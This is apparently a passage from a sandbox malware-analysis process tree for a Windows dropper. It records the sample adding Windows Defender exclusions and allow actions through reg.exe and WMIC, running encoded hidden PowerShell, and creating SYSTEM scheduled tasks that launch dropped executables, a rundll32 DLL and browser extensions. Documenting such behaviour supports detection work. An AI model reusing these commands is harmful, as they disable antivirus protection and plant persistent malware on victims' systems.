                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                  3⤵
                                                                                                                    PID:2476
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                    3⤵
                                                                                                                      PID:4752
                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QtKEgKYoTGTqC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QtKEgKYoTGTqC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZEkGlaTFWGUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZEkGlaTFWGUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dlfHiRefefjU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dlfHiRefefjU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hsUwQAlMU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hsUwQAlMU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nivjmgppGaMJQQVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nivjmgppGaMJQQVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\QqEAMUespgTHJnVz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\QqEAMUespgTHJnVz\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                    2⤵
                                                                                                                    • Drops file in System32 directory
                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                    PID:1404
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:32
                                                                                                                      3⤵
                                                                                                                        PID:1484
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:32
                                                                                                                          4⤵
                                                                                                                            PID:1560
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:64
                                                                                                                          3⤵
                                                                                                                            PID:2380
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:32
                                                                                                                            3⤵
                                                                                                                              PID:2348
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:64
                                                                                                                              3⤵
                                                                                                                                PID:3828
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                3⤵
                                                                                                                                  PID:1348
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:1688
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                    3⤵
                                                                                                                                      PID:4660
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                      3⤵
                                                                                                                                        PID:5020
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hsUwQAlMU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                        3⤵
                                                                                                                                          PID:3692
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hsUwQAlMU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                          3⤵
                                                                                                                                            PID:4220
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nivjmgppGaMJQQVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                            3⤵
                                                                                                                                              PID:3688
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nivjmgppGaMJQQVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                              3⤵
                                                                                                                                                PID:4384
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                3⤵
                                                                                                                                                  PID:2784
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                  3⤵
                                                                                                                                                    PID:456
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                    3⤵
                                                                                                                                                      PID:3452
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                      3⤵
                                                                                                                                                        PID:3320
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy /t REG_DWORD /d 0 /reg:32
                                                                                                                                                        3⤵
                                                                                                                                                          PID:2320
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy /t REG_DWORD /d 0 /reg:64
                                                                                                                                                          3⤵
                                                                                                                                                            PID:3996
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\QqEAMUespgTHJnVz /t REG_DWORD /d 0 /reg:32
                                                                                                                                                            3⤵
                                                                                                                                                              PID:1484
                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\QqEAMUespgTHJnVz /t REG_DWORD /d 0 /reg:64
                                                                                                                                                              3⤵
                                                                                                                                                                PID:2768
                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                              schtasks /CREATE /TN "gOGizTlDE" /SC once /ST 00:22:46 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                              2⤵
                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                              PID:4752
                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:1688
                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                schtasks /run /I /tn "gOGizTlDE"
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:4892
                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                  schtasks /DELETE /F /TN "gOGizTlDE"
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:1420
                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                    schtasks /CREATE /TN "ZTNkTKukmvvbOMPkn" /SC once /ST 00:38:13 /RU "SYSTEM" /TR "\"C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\NCcSSMw.exe\" 0c /rhrMdidNA 385120 /S" /V1 /F
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                    PID:636
                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                    schtasks /run /I /tn "ZTNkTKukmvvbOMPkn"
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:3580
                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3720 -s 952
                                                                                                                                                                      2⤵
                                                                                                                                                                      • Program crash
                                                                                                                                                                      PID:940
                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                    1⤵
                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                    PID:996
                                                                                                                                                                    • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                      "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:3688
                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:1588
                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:2624
                                                                                                                                                                        • C:\Windows\system32\gpscript.exe
                                                                                                                                                                          gpscript.exe /RefreshSystemParam
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:64
                                                                                                                                                                          • C:\Windows\system32\gpscript.exe
                                                                                                                                                                            gpscript.exe /RefreshSystemParam
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:2264
                                                                                                                                                                            • C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\NCcSSMw.exe
                                                                                                                                                                              C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\NCcSSMw.exe 0c /rhrMdidNA 385120 /S
                                                                                                                                                                              1⤵
                                                                                                                                                                              • Checks computer location settings
                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                              • Drops Chrome extension
                                                                                                                                                                              • Drops desktop.ini file(s)
                                                                                                                                                                              • Drops file in System32 directory
                                                                                                                                                                              • Drops file in Program Files directory
                                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                              PID:4948
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:748
                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                    forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:4568
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                        4⤵
                                                                                                                                                                                          PID:2604
                                                                                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                            5⤵
                                                                                                                                                                                              PID:5076
                                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                          forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:4376
                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                              4⤵
                                                                                                                                                                                                PID:2724
                                                                                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                    PID:1904
                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:2376
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:944
                                                                                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                          PID:2436
                                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:1064
                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                            PID:4912
                                                                                                                                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                PID:3524
                                                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                            forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:4624
                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                  PID:3916
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                    powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                    PID:3312
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                                      "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                        PID:3228
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /DELETE /F /TN "btZaCbGShXZoJDfvCg"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:2100
                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:4076
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:3768
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                            PID:4744
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                              powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                              • Drops file in System32 directory
                                                                                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                              PID:5004
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                PID:4168
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                        schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\hsUwQAlMU\kVrcEe.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ucrVpivlTlXwlAC" /V1 /F
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                        • Drops file in Windows directory
                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                        PID:2436
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                        schtasks /CREATE /TN "ucrVpivlTlXwlAC2" /F /xml "C:\Program Files (x86)\hsUwQAlMU\zUGyyvJ.xml" /RU "SYSTEM"
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                        PID:3684
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                        schtasks /END /TN "ucrVpivlTlXwlAC"
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:1956
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                          schtasks /DELETE /F /TN "ucrVpivlTlXwlAC"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:3980
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                            schtasks /CREATE /TN "gXuMbmSriUtfuo" /F /xml "C:\Program Files (x86)\dlfHiRefefjU2\AJwFTOZ.xml" /RU "SYSTEM"
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                            PID:5036
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                            schtasks /CREATE /TN "ZEKxHChbZmoqN2" /F /xml "C:\ProgramData\nivjmgppGaMJQQVB\nLAmIQN.xml" /RU "SYSTEM"
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                            PID:4472
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                            schtasks /CREATE /TN "GJlNcuNKEmfKGuMTK2" /F /xml "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\FmFPxkD.xml" /RU "SYSTEM"
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                            PID:1480
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                            schtasks /CREATE /TN "jVeWQSRcqyudsTDYlcg2" /F /xml "C:\Program Files (x86)\QtKEgKYoTGTqC\BaeXNCG.xml" /RU "SYSTEM"
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                            PID:2332
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
